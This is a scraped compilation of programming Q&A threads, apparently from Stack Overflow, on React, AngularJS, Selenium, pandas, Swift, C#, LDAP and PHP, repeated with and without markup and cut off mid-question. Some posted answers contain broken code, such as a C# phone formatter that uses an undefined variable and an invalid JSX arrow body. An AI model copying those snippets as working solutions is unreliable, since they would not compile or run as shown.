I run into this quite a bit and didn't just realize why this works until now. In your renderSp4Policies function, you're mapping through keys on the second line that has Object.keys(toggles).forEach(toggle => {. Inside that block you're returning elements and that instruction you're running is keeping track of that and generating an array. Once it's done, you're not doing anything with the array, so you have to add a return statement so the function returns the generated array of JSX elements:

```<code>return Object.keys(toggles).map(toggle => {
    return(
      <Form.Field key={ toggle }>
        <label> { toggle } </label>
        <Checkbox toggle />
      </Form.Field>
    );
  });
</code>```

Also as Sag1v says, the line that has policy.values.map, you're not returning inside that loop. So you have to change:

```<code>policy.values.map(value => (
  return (
    <Form.Field key={ value.name }>
      <label>{ value.displayName || value.name }</label>
      <Checkbox toggle />
    </Form.Field>
  );
));
</code>```

Edit

After our discussion in chat, I wanted to update my answer to reflect the proper changes.

The first Object.keys call that determines which keys should be saved and which shouldn't wasn't returning new data after every iteration so it was just making an empty array. forEach was also being used but that doesn't return a new array. After changing forEach to map and adding some return statements, it would create a new array so the second loop that follows would be able to run:

```<code>var toggleOptions = Object.keys(toggles).map(toggle => {
  if (typeof (toggles[toggle]) !== "boolean") {
    return delete toggles[toggle];
  }
  return toggles[toggle];
})
</code>```

Title: Return JSX from function

Body:
I have a a component that needs to check for multiple options and return based on those options. Therefore I have created an outside function that is called in my component return statement to determine the format that will be returned:

render() {
    const { policy } = this.props;
    let deployment = policy.Deployment;
    let value = policy.value;
    let policyLegend = deployment.policyLegend;
    let policyObj = this.valueToPolicy(policyLegend, value);
    console.log(policyObj);
    if(policy.name == "SP4") {
      policyLegend[1].values = this.formatSp4Firmware(policyLegend[1]);
      return (

          <Form onSubmit={ (event) => this.handleSubmit(event, this.props) }>
            {
              policyLegend.map((policy) => {
                return (

{ policy.displayName }

                    { this.renderSp4Policies(policy) }

                );
              })
            }
            <Button name={ 'Submit' } type='submit'>Submit</Button>
            <Button onClick={ this.props.onCancel }>Cancel</Button>
          </Form>

      )
    }
  }

renderSp4Policies(policy) {
    if(policy.displayName == "Firmware Options") {
      let firmwareDropdownNames = this.formatFirmawareDropdownNames(policy);
      let toggles = policy.values[0][Object.keys(policy.values[0])];
      let toggleOptions = []
      Object.keys(toggles).map(toggle => {
       if(typeof(toggles[toggle]) == "boolean"){
          var obj = {};
          obj[toggle] = toggles[toggle];
        toggleOptions.push(obj);
        }
      })
      return (
        toggleOptions.map(toggleOption => {
          let toggleName = Object.keys(toggleOption).toString();
          return (
            <Form.Field key={ toggleName }>
              { toggleName }
              <Checkbox toggle />
            </Form.Field>
          )
        })
      )
    } else {
        return (
          policy.values.map(value => {
            return(
              <Form.Field key={ value.name }>
                { value.displayName || value.name }
                <Checkbox toggle />
              </Form.Field>
            )
          }
        )
      )
    }
  }

EDIT

I have applied some of the answers given with moderate success.

Within renderSp4Policies what is being returned in the else statement displays, but the beginning if(policy.displayName == "Firmware Options") returns nothing.

Appreciate all advice, thank you in advance!

Body:
I run into this quite a bit and didn't just realize why this works until now. In your renderSp4Policies function, you're mapping through keys on the second line that has Object.keys(toggles).forEach(toggle => {. Inside that block you're returning elements and that instruction you're running is keeping track of that and generating an array. Once it's done, you're not doing anything with the array, so you have to add a return statement so the function returns the generated array of JSX elements:

return Object.keys(toggles).map(toggle => {
    return(
      <Form.Field key={ toggle }>
        <label> { toggle } </label>
        <Checkbox toggle />
      </Form.Field>
    );
  });

Also as Sag1v says, the line that has policy.values.map, you're not returning inside that loop. So you have to change:

policy.values.map(value => (
  return (
    <Form.Field key={ value.name }>
      <label>{ value.displayName || value.name }</label>
      <Checkbox toggle />
    </Form.Field>
  );
));

Edit

After our discussion in chat, I wanted to update my answer to reflect the proper changes.

The first Object.keys call that determines which keys should be saved and which shouldn't wasn't returning new data after every iteration so it was just making an empty array. forEach was also being used but that doesn't return a new array. After changing forEach to map and adding some return statements, it would create a new array so the second loop that follows would be able to run:

var toggleOptions = Object.keys(toggles).map(toggle => {
  if (typeof (toggles[toggle]) !== "boolean") {
    return delete toggles[toggle];
  }
  return toggles[toggle];
})


问:
AngularJS: Using Custom Directives inside ngRepeat
I have a custom directive, but am having issues with using it inside of ngRepeat. For example, in my taco example below, the objects that are being aliased as taco in the ng-repeat attribute seem to be unaccessible from within the definition of the  directive.

app.tpl.html

    <taco></taco>

```

<p><code>taco.directive.js</code></p>

<pre class="lang-js prettyprint-override"><code>(function() {
    angular
        .module('food')
        .directive('taco', [
            // DI: strings here
            function(
                // DI: params here
            ) {
                return {
                    restrict: 'E',
                    template: `
                        // THIS WORKS
                        <div>{{ tacoController.lastShipment }}</div>
                        // THIS DOES NOT!
                        <div>{{ taco.shellType }}</div>
                    `
                };
            }
        ])
})();
</code>```

p.s. I would like to avoid using isolate scope in my directive if possible.

答:
You have access to tacoController because it lives in scope of the main page and you don't have isolated scope in custom directive.

On the other hand taco item in ng-repeat does not live in scope of the main page and thus it is not accessible in custom directive.

You can pass taco item in directive's isolated scope as following (you may already know that):

```<code>(function() {
    angular
        .module('food')
        .directive('taco', [
            // DI: strings here
            function(
                // DI: params here
            ) {
                return {
                    restrict: 'E',
                    scope: {
                        tacoItem: '=',
                        lastShipment: '='
                    },
                    template: `
                        // THIS WORKS
                        <div>{{ lastShipment }}</div>
                        // THIS DOES NOT!
                        <div>{{ tacoItem.shellType }}</div>
                    `
                };
            }
        ])
})();
</code>```

Then html should be:

```<code><div ng-repeat="taco in tacoController.tacos">
    <taco taco-item="taco" last-shipment="tacoController.lastShipment"></taco>
<div>
</code>```

Body:
I have a custom directive, but am having issues with using it inside of ngRepeat. For example, in my taco example below, the objects that are being aliased as taco in the ng-repeat attribute seem to be unaccessible from within the definition of the  directive.

app.tpl.html

    <taco></taco>

taco.directive.js

(function() {
    angular
        .module('food')
        .directive('taco', [
            // DI: strings here
            function(
                // DI: params here
            ) {
                return {
                    restrict: 'E',
                    template: `
                        // THIS WORKS

{{ tacoController.lastShipment }}

                        // THIS DOES NOT!

{{ taco.shellType }}

                    `
                };
            }
        ])
})();

p.s. I would like to avoid using isolate scope in my directive if possible.

Body:
You have access to tacoController because it lives in scope of the main page and you don't have isolated scope in custom directive.

On the other hand taco item in ng-repeat does not live in scope of the main page and thus it is not accessible in custom directive.

You can pass taco item in directive's isolated scope as following (you may already know that):

(function() {
    angular
        .module('food')
        .directive('taco', [
            // DI: strings here
            function(
                // DI: params here
            ) {
                return {
                    restrict: 'E',
                    scope: {
                        tacoItem: '=',
                        lastShipment: '='
                    },
                    template: `
                        // THIS WORKS
                        <div>{{ lastShipment }}</div>
                        // THIS DOES NOT!
                        <div>{{ tacoItem.shellType }}</div>
                    `
                };
            }
        ])
})();

Then html should be:

<div ng-repeat="taco in tacoController.tacos">
    <taco taco-item="taco" last-shipment="tacoController.lastShipment"></taco>
<div>


问:
Not able to click a dropdown field which is designed in the DOJO Html using selenium
I am not able to click an arrow drop down filed in my application using selenium web driver.

I tried lot of XPath using class name and relative XPath

This is the code used for the problem

```<code><span class="dijitReset dijitInline dijitIcon pentaho_dijitEditorIconExport"
             data-dojo-attach-point="iconNode"></span>
</code>```

答:
dojo combo are basically <input type= "text">, once u click on it or type the first letter of the option you want to select, a
 is attached to the html body which has following structure:-

```<code><div resultname="option name" resultvalue="option value" class="dojoComboBoxItem dojoComboBoxItemEven ">Option Value</div>
</code>```

now there are 3 steps to select from dojo

identify the input text

type the first few letters of the option you want to select

create dynamic xpath to select the option

the code goes as followes

```<code>String optionName = "Option You Want to Select";
WebElement dojoBox = driver.findElement(By.xpath("<provide the xpath here>"));
dojoBox.sendKeys(optionName.substring(0,2));
driver.findElement(By.xpath("//*[@id='page-home']/span/div[@resultvalue='" + optionName + "']")).click();
</code>```

if you are not sure about the dynamic xpath structure, then manually select the option, and inspect the div you have added, generally it should have the similar structure.

Body:
dojo combo are basically <input type= "text">, once u click on it or type the first letter of the option you want to select, a <div> is attached to the html body which has following structure:-

<div resultname="option name" resultvalue="option value" class="dojoComboBoxItem dojoComboBoxItemEven ">Option Value</div>

now there are 3 steps to select from dojo

identify the input text

type the first few letters of the option you want to select

create dynamic xpath to select the option

the code goes as followes

String optionName = "Option You Want to Select";
WebElement dojoBox = driver.findElement(By.xpath("<provide the xpath here>"));
dojoBox.sendKeys(optionName.substring(0,2));
driver.findElement(By.xpath("//*[@id='page-home']/span/div[@resultvalue='" + optionName + "']")).click();

if you are not sure about the dynamic xpath structure, then manually select the option, and inspect the div you have added, generally it should have the similar structure.


问:
Remove checkbox from rows in ag-grid
In my Angular component I have checkbox selection enabled for all of my rows, but I am actually trying to only have a selection box for rows that can flower, in other words rows that node.canFlower property is true.

My checkbox selection is implemented in my component like so:

```<code>ngOnInit(): {
    ...
    this.gridOptions.rowSelection = 'single';
    this.gridOptions.suppressRowClickSelection = true;
}
</code>```

I understand that checkbox selection can be enabled/disabled via a function colDef.checkboxSelection that returns true/false according to the official documentation.  How do I remove checkboxes for rows that node.canFlower = false?

答:
Not tested, but it should be close:</p>

```<code>const columnDefs = [
    {
        headerName: 'ID',
        field: 'id',
        checkboxSelection: function(params) {
            return params.node.canFlower;
        },
    },
];
</code>```

Title: Remove checkbox from rows in ag-grid

Body:
In my Angular component I have checkbox selection enabled for all of my rows, but I am actually trying to only have a selection box for rows that can flower, in other words rows that node.canFlower property is true.

My checkbox selection is implemented in my component like so:

ngOnInit(): {
    ...
    this.gridOptions.rowSelection = 'single';
    this.gridOptions.suppressRowClickSelection = true;
}

I understand that checkbox selection can be enabled/disabled via a function colDef.checkboxSelection that returns true/false according to the official documentation.  How do I remove checkboxes for rows that node.canFlower = false?

Body:
Not tested, but it should be close:

const columnDefs = [
    {
        headerName: 'ID',
        field: 'id',
        checkboxSelection: function(params) {
            return params.node.canFlower;
        },
    },
];


问:
Firebase functions after change in storage. Detect the what change was made
Is there any way to detect which change was made after exports.fileUploaded = functions.storage.object().onChange(event => {}) is called. Because this is called when file is uploaded to storage and even when file was removed from sotrage

I can get file exists from object.resourceState==="not_exists",  what about others update, create,

答:
You have to look more closely at the ObjectMetadata event properties.  From the documentation:

Cloud Functions exposes a number of event attributes such as a
  timestamp and resource for the change, and size and contentType for
  the file updated. The resourceState attribute for an event has the
  value "exists" (for object creation and updates) or "not_exists" (for
  object deletion and moves). The resourceState attribute should be
  paired with the 'metageneration' attribute if you want to know if an
  object was just created. The metageneration attributed is incremented
  whenever there's a change to the object's metadata. For new objects,
  the metageneration value is 1.

Between resourceState and metageneration you should be able to figure out what happened.


问:
How to use Yahoo color picker to change background color
Hey all, I have this assignment where I need to integrate the Yahoo UI color picker into a website. When someone picks a color the background of the page need to become that color.

I followed instructions here http://developer.yahoo.com/yui/colorpicker/#events but I can't seem to figure out how to change the backgroundcolor to the picked color. I can change the background when someone picks a color, however I don't know how to get the color that is picked as input/ (see code for // comment) up until now i have this:

in head:

```<code><!-- Dependencies -->
<script src="http://yui.yahooapis.com/2.8.2r1/build/utilities/utilities.js" ></script>
<script src="http://yui.yahooapis.com/2.8.2r1/build/slider/slider-min.js" ></script>

  <!-- Color Picker source files for CSS and JavaScript -->
<link rel="stylesheet" type="text/css" href="http://yui.yahooapis.com/2.8.2r1/build/colorpicker/assets/skins/sam/colorpicker.css">
<script src="http://yui.yahooapis.com/2.8.2r1/build/colorpicker/colorpicker-min.js" ></script>
</code>```

then in body tag:  class="yui-skin-sam"

and in body:

```<code><div id="container"></div>
<script type="text/javascript">
var picker = new YAHOO.widget.ColorPicker("container", {
 showhsvcontrols: true,
 showhexcontrols: true,
 images: {
  PICKER_THUMB: "picker_thumb.png",
  HUE_THUMB: "hue_thumb.png"
 }
});

//a listener for logging RGB color changes;
//this will only be visible if logger is enabled:
var onRgbChange = function(o) {
 /*o is an object
  { newValue: (array of R, G, B values),
    prevValue: (array of R, G, B values),
    type: "rgbChange"
   }
 */
    // with this code i change the background when a color is picked, but not with the input col.
    // document.body.style.backgroundColor = 'green';
 YAHOO.log("The new color value is " + o.newValue, "info", "example");
}

//subscribe to the rgbChange event;
picker.on("rgbChange", onRgbChange);

  </script>
</code>```

答:
The syntax for setting the background color to a RGB value (what o.newValue gives) looks like:  </p>

```<code>doc.style.backgroundColor="rgb(239,239,239)";
</code>```

<p>...so, try something like this:  </p>

```<code>document.body.style.backgroundColor = "rgb(" + o.newValue[0] + "," + o.newValue[1] + "," + o.newValue[2] + ");"
</code>```

Body:
Hey all, I have this assignment where I need to integrate the Yahoo UI color picker into a website. When someone picks a color the background of the page need to become that color.

I followed instructions here http://developer.yahoo.com/yui/colorpicker/#events but I can't seem to figure out how to change the backgroundcolor to the picked color. I can change the background when someone picks a color, however I don't know how to get the color that is picked as input/ (see code for // comment) up until now i have this:

in head:

<link rel="stylesheet" type="text/css" href="http://yui.yahooapis.com/2.8.2r1/build/colorpicker/assets/skins/sam/colorpicker.css">

then in body tag:  class="yui-skin-sam"

and in body:

Body:
The syntax for setting the background color to a RGB value (what o.newValue gives) looks like:

doc.style.backgroundColor="rgb(239,239,239)";

...so, try something like this:

document.body.style.backgroundColor = "rgb(" + o.newValue[0] + "," + o.newValue[1] + "," + o.newValue[2] + ");"


问:
How do I retrieve a value from a property using Active Directory?
I'm trying to write a code that retrieves a user's email from the LDAP server. The user's email is in the 'mail' property, however, everytime I run it, the email returns "System.DirectoryServices.ResultPropertyValueCollection" instead of the user's email. Here is my code:

```<code>using (HostingEnvironment.Impersonate())
        {
            string server = "hello.world.com:389";
            string email = null;

            DirectoryEntry dEntry = new DirectoryEntry("LDAP://" + server + "/DC=hello,DC=world,DC=com");
            DirectorySearcher dSearch = new DirectorySearcher(dEntry);
            dSearch.SearchScope = SearchScope.Subtree;
            dSearch.Filter = "(&(objectClass=users)(cn=" + lanID + "))";
            dSearch.PropertiesToLoad.Add("mail");

            SearchResult result = dSearch.FindOne();

            if (result != null)
            {
                email = result.Properties["mail"].ToString();
                return email;
            }
            else return email = null;
        }
</code>```

The code takes a user's employee id (lanID) and returns that userID's email (the value under 'mail' property). How should I do so I don't get System.DirectoryServices.ResultPropertyValueCollection but an actual email?

答:
This means you are trying to convert an entire object to a string.

Change

```<code>email = result.Properties["mail"].ToString();
</code>```

To this

```<code>email = result.Properties["mail"].Value.ToString();
</code>```

Body:
I'm trying to write a code that retrieves a user's email from the LDAP server. The user's email is in the 'mail' property, however, everytime I run it, the email returns "System.DirectoryServices.ResultPropertyValueCollection" instead of the user's email. Here is my code:

using (HostingEnvironment.Impersonate())
        {
            string server = "hello.world.com:389";
            string email = null;

            DirectoryEntry dEntry = new DirectoryEntry("LDAP://" + server + "/DC=hello,DC=world,DC=com");
            DirectorySearcher dSearch = new DirectorySearcher(dEntry);
            dSearch.SearchScope = SearchScope.Subtree;
            dSearch.Filter = "(&(objectClass=users)(cn=" + lanID + "))";
            dSearch.PropertiesToLoad.Add("mail");

            SearchResult result = dSearch.FindOne();

            if (result != null)
            {
                email = result.Properties["mail"].ToString();
                return email;
            }
            else return email = null;
        }

The code takes a user's employee id (lanID) and returns that userID's email (the value under 'mail' property). How should I do so I don't get System.DirectoryServices.ResultPropertyValueCollection but an actual email?

Body:
This means you are trying to convert an entire object to a string.

Change

email = result.Properties["mail"].ToString();

To this

email = result.Properties["mail"].Value.ToString();


问:
Finding all Negative numbers
My dataframe looks like this:

```<code>Person    Number
 BOB       1.23
 BOB      -1.23
 Jeff      18.01
 Jack      82.04
 Jack      14.02
 Jeff     -18.01
</code>```

what I want to do is look at the Persons columns and then say if there are multiple people under the name BOB and we know that BOB is unique so its the same person. I want to then look at the Number column and if their is a negative value present for BOB as well as a Postive I want to change both numbers to Zero. Furthermore, for cases like Jack where there are two positive numbers I dont want to do anything for him. So all I want to do is find where the Person is the same and if their is a presence of a negative value and a positive value under the same name then change both numbers to 0

So the final dataframe would look like such...

```<code>Person    Number
 BOB       0
 BOB       0
 Jeff      0
 Jack      82.04
 Jack      14.02
 Jeff      0
</code>```

Another issue I am having is that Python isn't detecting the negatives appropriately so it changes negatives to look like this ($4.00) instead of keeping it like -1.23. I am just not sure how I can achieve the designated answer so any help would be greatly appreciated, thank you

答:
Let us do it by using filter and .loc

```<code>df1=df.groupby('Person').filter(lambda x : x.Number.lt(0).any())
df.loc[df1.index,"Number"]=0
df
Out[608]:
  Person  Number
0    BOB    0.00
1    BOB    0.00
2   Jeff    0.00
3   Jack   82.04
4   Jack   14.02
5   Jeff    0.00
</code>```

Or using isin

```<code>df.loc[df.Person.isin(df.loc[df.Number<0,'Person'].tolist()),'Number']=0
df
Out[616]:
  Person  Number
0    BOB    0.00
1    BOB    0.00
2   Jeff    0.00
3   Jack   82.04
4   Jack   14.02
5   Jeff    0.00
</code>```

Title: Finding all Negative numbers

Body:
My dataframe looks like this:

Person    Number
 BOB       1.23
 BOB      -1.23
 Jeff      18.01
 Jack      82.04
 Jack      14.02
 Jeff     -18.01

what I want to do is look at the Persons columns and then say if there are multiple people under the name BOB and we know that BOB is unique so its the same person. I want to then look at the Number column and if their is a negative value present for BOB as well as a Postive I want to change both numbers to Zero. Furthermore, for cases like Jack where there are two positive numbers I dont want to do anything for him. So all I want to do is find where the Person is the same and if their is a presence of a negative value and a positive value under the same name then change both numbers to 0

So the final dataframe would look like such...

Person    Number
 BOB       0
 BOB       0
 Jeff      0
 Jack      82.04
 Jack      14.02
 Jeff      0

Another issue I am having is that Python isn't detecting the negatives appropriately so it changes negatives to look like this ($4.00) instead of keeping it like -1.23. I am just not sure how I can achieve the designated answer so any help would be greatly appreciated, thank you

Body:
Let us do it by using filter and .loc

df1=df.groupby('Person').filter(lambda x : x.Number.lt(0).any())
df.loc[df1.index,"Number"]=0
df
Out[608]:
  Person  Number
0    BOB    0.00
1    BOB    0.00
2   Jeff    0.00
3   Jack   82.04
4   Jack   14.02
5   Jeff    0.00

Or using isin

df.loc[df.Person.isin(df.loc[df.Number<0,'Person'].tolist()),'Number']=0
df
Out[616]:
  Person  Number
0    BOB    0.00
1    BOB    0.00
2   Jeff    0.00
3   Jack   82.04
4   Jack   14.02
5   Jeff    0.00


问:
Single line: create Dict key or update count in swift
It seems like there should be a simple way to do this:

```<code>for each token
   look it up in a dictionary
   if it's there already, increment the value by 1
   else create it and set value to 1
</code>```

I can do this with

```<code>for token in tokens {
    if let count = myDict[token] {
        myDict[token] = count + 1
    } else {
        myDict[token] = 1
}
</code>```

But it seems like there must be a more elegant, single line way to do this?

答:
You can use the ternary operator:

```<code>for token in tokens {
    myDict[token] = myDict[token] ? myDict[token]! + 1 : 1
}
</code>```

Better yet, use nil coalescing:

```<code>for token in tokens {
    myDict[token] = (myDict[token] ?? 0) + 1
}
</code>```

And to put the whole thing in one line:

```<code>tokens.forEach { myDict[$0] = (myDict[$0] ?? 0) + 1  }
</code>```

And with Swift 4 (thanks Hamish), it can be a little shorter with:

```<code>tokens.forEach { myDict[$0, default: 0] += 1 }
</code>```

Body:
It seems like there should be a simple way to do this:

for each token
   look it up in a dictionary
   if it's there already, increment the value by 1
   else create it and set value to 1

I can do this with

for token in tokens {
    if let count = myDict[token] {
        myDict[token] = count + 1
    } else {
        myDict[token] = 1
}

But it seems like there must be a more elegant, single line way to do this?

Body:
You can use the ternary operator:

for token in tokens {
    myDict[token] = myDict[token] ? myDict[token]! + 1 : 1
}

Better yet, use nil coalescing:

for token in tokens {
    myDict[token] = (myDict[token] ?? 0) + 1
}

And to put the whole thing in one line:

tokens.forEach { myDict[$0] = (myDict[$0] ?? 0) + 1  }

And with Swift 4 (thanks Hamish), it can be a little shorter with:

tokens.forEach { myDict[$0, default: 0] += 1 }


问:
Format String as phone number in C#
I have a string value 1233873600 in C# and I have to convert it to 123-387-7300 in C#

Is there any in-built function which will do that in c#?

答:
You can use a simple helper method that will take the string, sterilize the input in order to remove spaces or unwanted special characters being used as a separator, and then use the ToString method built-in. If you check for various lengths you can also assure the format comes out as you see fit. For example:</p>

```<code>public string FormatPhoneNumber(string phoneNumber)
    {
        string originalValue = phoneNumber;

        phoneNumber= new System.Text.RegularExpressions.Regex(@"\D")
            .Replace(phoneNumber, string.Empty);

        value = value.TrimStart('1');

        if (phoneNumber.Length == 7)

            return Convert.ToInt64(value).ToString("###-####");
        if (phoneNumber.Length == 9)

            return Convert.ToInt64(originalValue).ToString("###-###-####");
        if (phoneNumber.Length == 10)

            return Convert.ToInt64(value).ToString("###-###-####");

        if (phoneNumber.Length > 10)
            return Convert.ToInt64(phoneNumber)
                .ToString("###-###-#### " + new String('#', (phoneNumber.Length - 10)));

        return phoneNumber;
    }
</code>```

Title: Format String as phone number in C#

Body:
You can use a simple helper method that will take the string, sterilize the input in order to remove spaces or unwanted special characters being used as a separator, and then use the ToString method built-in. If you check for various lengths you can also assure the format comes out as you see fit. For example:

public string FormatPhoneNumber(string phoneNumber)
    {
        string originalValue = phoneNumber;

        phoneNumber= new System.Text.RegularExpressions.Regex(@"\D")
            .Replace(phoneNumber, string.Empty);

        value = value.TrimStart('1');

        if (phoneNumber.Length == 7)

            return Convert.ToInt64(value).ToString("###-####");
        if (phoneNumber.Length == 9)

            return Convert.ToInt64(originalValue).ToString("###-###-####");
        if (phoneNumber.Length == 10)

            return Convert.ToInt64(value).ToString("###-###-####");

        if (phoneNumber.Length > 10)
            return Convert.ToInt64(phoneNumber)
                .ToString("###-###-#### " + new String('#', (phoneNumber.Length - 10)));

        return phoneNumber;
    }


问:
Trouble restoring Mvc CodeAnalysis dependencies using dotnet cli
I'm having an error restoring dependencies for an ASP.NET 5/ASP.NET Core 1.0.

It appears that a couple of the dependencies (namely Microsoft.CodeAnalysis.CSharp / .Common) of Microsoft.AspNet.Mvc are fixed to seemingly out of date packages.

A requirement for this is to use the dotnet cli tool and target both .NET Vanilla and .NET Core.

Is there any way to get Mvc to reference Core-compatible version of CodeAnalysis?

Steps to reproduce in Visual Studio 2015 (v14.0.24729.00 Update 1):

File > New > Project > Web > ASP.NET Web Application

API.NET 5 Templates > Web API

Open PM, run command dotnet restore

Output:

```<code>info : Restoring packages for C:\PATH_TO_SOLUTION\WebApplication2\src\WebApplication2\project.json...
error: Microsoft.CodeAnalysis.CSharp 1.1.0-rc1-20151109-01 is not compatible with DNXCore,Version=v5.0.
error: Microsoft.CodeAnalysis.Common 1.1.0-rc1-20151109-01 is not compatible with DNXCore,Version=v5.0.
error: Some packages are not compatible with DNXCore,Version=v5.0.
error: Microsoft.CodeAnalysis.CSharp 1.1.0-rc1-20151109-01 is not compatible with DNXCore,Version=v5.0 (win7-x64).
error: Microsoft.CodeAnalysis.Common 1.1.0-rc1-20151109-01 is not compatible with DNXCore,Version=v5.0 (win7-x64).
... (loads more errors) ...
</code>```

project.json file contains:

```<code>{
  ...
  "dependencies": {
    ...
    "Microsoft.AspNet.Mvc": "6.0.0-rc1-final",
    ...
  }
  ...
  "frameworks": {
    "dnx451": { },
    "dnxcore50": { }
  },
  ...
}
</code>```

答: Just installing the latest version of Microsoft.CodeAnalysis.Common from NuGet Package Manager worked fine for me.

Body:
I'm having an error restoring dependencies for an ASP.NET 5/ASP.NET Core 1.0.

It appears that a couple of the dependencies (namely Microsoft.CodeAnalysis.CSharp / .Common) of Microsoft.AspNet.Mvc are fixed to seemingly out of date packages.

A requirement for this is to use the dotnet cli tool and target both .NET Vanilla and .NET Core.

Is there any way to get Mvc to reference Core-compatible version of CodeAnalysis?

Steps to reproduce in Visual Studio 2015 (v14.0.24729.00 Update 1):

File > New > Project > Web > ASP.NET Web Application

API.NET 5 Templates > Web API

Open PM, run command dotnet restore

Output:

info : Restoring packages for C:\PATH_TO_SOLUTION\WebApplication2\src\WebApplication2\project.json...
error: Microsoft.CodeAnalysis.CSharp 1.1.0-rc1-20151109-01 is not compatible with DNXCore,Version=v5.0.
error: Microsoft.CodeAnalysis.Common 1.1.0-rc1-20151109-01 is not compatible with DNXCore,Version=v5.0.
error: Some packages are not compatible with DNXCore,Version=v5.0.
error: Microsoft.CodeAnalysis.CSharp 1.1.0-rc1-20151109-01 is not compatible with DNXCore,Version=v5.0 (win7-x64).
error: Microsoft.CodeAnalysis.Common 1.1.0-rc1-20151109-01 is not compatible with DNXCore,Version=v5.0 (win7-x64).
... (loads more errors) ...

project.json file contains:

{
  ...
  "dependencies": {
    ...
    "Microsoft.AspNet.Mvc": "6.0.0-rc1-final",
    ...
  }
  ...
  "frameworks": {
    "dnx451": { },
    "dnxcore50": { }
  },
  ...
}


问:
Extracting and sorting data in python
Looking for help to see if this is easy enough to do using python, i need to extract data from a text file, the data will then be used in excel to view in tables. I need to extract the following data
Test:
Date   :
Critical Test Result Value:
Total Value:
Overall Run Time:
ABT:
RPT:
The file contains a large amount of tests, each with the above info to gather.
As fairly new at using python any help/pointers would be great thanks.
Number of fails:</p>

答:
Ok, since you not provided details, I made some assumptions (some of them are in code comments). Particularly, I assumed text file format (CSV with headers, separated with semicolon), Excel file format ('old' XLS file format).

Your task breaks into next major subtasks:

Text file reading

String parsing

Writing Excel files

I suggest install packages into virtual environment (see https://docs.python.org/3/tutorial/venv.html) as a best practice in all of your projects.

This code is far from perfect code and should be used as a starting point for your work.

```<code>#!/usr/bin/env python3

# Do in command line: pip install xlwt
import xlwt # Assuming you will deal with 'old' XLS files (MS Excel 95, 97, 2000 etc). If you need Excel 2010+ XLSX files, use xlsxwriter.
# See here for details: http://www.python-excel.org/

delimiter = ';' # Assuming your data in text file are delimited with this delimiter
data_filename = 'data.txt'  # source data filename
xls_filename = f'{data_filename}.xls' # target excel filename

# dealing with excel, see here: https://github.com/python-excel/xlwt
book = xlwt.Workbook() # Create new WorkBook
sh = book.add_sheet('LogReport') # Add sheet named 'LogReport' to WorkBook

# Read data from text file line by line
with open('data.txt') as f:
    for line_number, line in enumerate(f):
        # line now contains our string
        items = line.split(delimiter) # split line on items by specified delimiter
        print(f'items: {items}') # just for debug to see what we've got

        for col_number, item in enumerate(items): # iterate on each item
            print(f'{item}') # just for debug

            # if you need to expand tokens to a separate variables, see: http://www.python.org/dev/peps/pep-3132/
            #test_id, test_date, crit_res_value, total_value, overall_runtime, abt, rpt, *tokens = items

            sh.write(line_number, col_number, item)  # Write text to given cell: column, row
book.save(xls_filename) # save Excel file with desired name
</code>```

Title: Extracting and sorting data in python

Body:
Ok, since you not provided details, I made some assumptions (some of them are in code comments). Particularly, I assumed text file format (CSV with headers, separated with semicolon), Excel file format ('old' XLS file format).

Your task breaks into next major subtasks:

Text file reading

String parsing

Writing Excel files

I suggest install packages into virtual environment (see https://docs.python.org/3/tutorial/venv.html) as a best practice in all of your projects.

This code is far from perfect code and should be used as a starting point for your work.

#!/usr/bin/env python3

# Do in command line: pip install xlwt
import xlwt # Assuming you will deal with 'old' XLS files (MS Excel 95, 97, 2000 etc). If you need Excel 2010+ XLSX files, use xlsxwriter.
# See here for details: http://www.python-excel.org/

delimiter = ';' # Assuming your data in text file are delimited with this delimiter
data_filename = 'data.txt'  # source data filename
xls_filename = f'{data_filename}.xls' # target excel filename

# dealing with excel, see here: https://github.com/python-excel/xlwt
book = xlwt.Workbook() # Create new WorkBook
sh = book.add_sheet('LogReport') # Add sheet named 'LogReport' to WorkBook

# Read data from text file line by line
with open('data.txt') as f:
    for line_number, line in enumerate(f):
        # line now contains our string
        items = line.split(delimiter) # split line on items by specified delimiter
        print(f'items: {items}') # just for debug to see what we've got

        for col_number, item in enumerate(items): # iterate on each item
            print(f'{item}') # just for debug

            # if you need to expand tokens to a separate variables, see: http://www.python.org/dev/peps/pep-3132/
            #test_id, test_date, crit_res_value, total_value, overall_runtime, abt, rpt, *tokens = items

            sh.write(line_number, col_number, item)  # Write text to given cell: column, row
book.save(xls_filename) # save Excel file with desired name


问:
Why does Entity Framework make certain fields EnityKeys when they are not even PK's in the source DB?
Starting out on an Entity Framework project.

Imported the Db I am going to use and right away noticed that many table fields were made into EntityKey types and the source fields are not even Keys. Doesn't seem to be a pattern as to which fields were made EntityKeys and which were not.

Is this normal? There were no options for this in the wizard. I don;t want to have to go through and remove this property for all the fields where it was added.

Thanks for your advice!

答:
http://msdn.microsoft.com/en-us/library/dd283139.aspx

I think as soon as you read the first paragraph you will understand the role of entity keys in Entity Framework.


问:
php - Convert array to an array
I have an array like below:

```<code>array:3 [▼
  "_token" => "hLuF5TLimRRkxRUOeeWoOby7iXLNXU7EiHRmTAso"
  "room_id" => array:3 [▼
    0 => "089a6ca8-26de-3ca2-bbbf-17c410d15266"
    1 => "13c56ac2-6c77-3ca7-b24a-2a70f4f0526c"
    2 => "2d9b7392-aa50-37e4-882a-804affb87223"
  ]
  "new_electric" => array:3 [▼
    0 => "123"
    1 => "234"
    2 => "345"
  ]
]
</code>```

How can I slice it into new array which like

```<code>array:4 [▼
  "_token" => "hLuF5TLimRRkxRUOeeWoOby7iXLNXU7EiHRmTAso"
  "1" => array:2 [▼
    "room_d" => "089a6ca8-26de-3ca2-bbbf-17c410d15266"
    "new_electric => "123"
  ]
  "2" => array:2 [▼
    "room_id" => "13c56ac2-6c77-3ca7-b24a-2a70f4f0526c"
    "new_electric" => "234"
  ]
  "3" => array:2 [▼
    "room_id" => "2d9b7392-aa50-37e4-882a-804affb87223"
    "new_electric" => "345"
      ]
]
</code>```

I think I need to use an array_push but I don't know how to do that ? Please help.

Title: php - Convert array to an array

Body:
I have an array like below:

array:3 [▼
  "_token" => "hLuF5TLimRRkxRUOeeWoOby7iXLNXU7EiHRmTAso"
  "room_id" => array:3 [▼
    0 => "089a6ca8-26de-3ca2-bbbf-17c410d15266"
    1 => "13c56ac2-6c77-3ca7-b24a-2a70f4f0526c"
    2 => "2d9b7392-aa50-37e4-882a-804affb87223"
  ]
  "new_electric" => array:3 [▼
    0 => "123"
    1 => "234"
    2 => "345"
  ]
]

How can I slice it into new array which like

array:4 [▼
  "_token" => "hLuF5TLimRRkxRUOeeWoOby7iXLNXU7EiHRmTAso"
  "1" => array:2 [▼
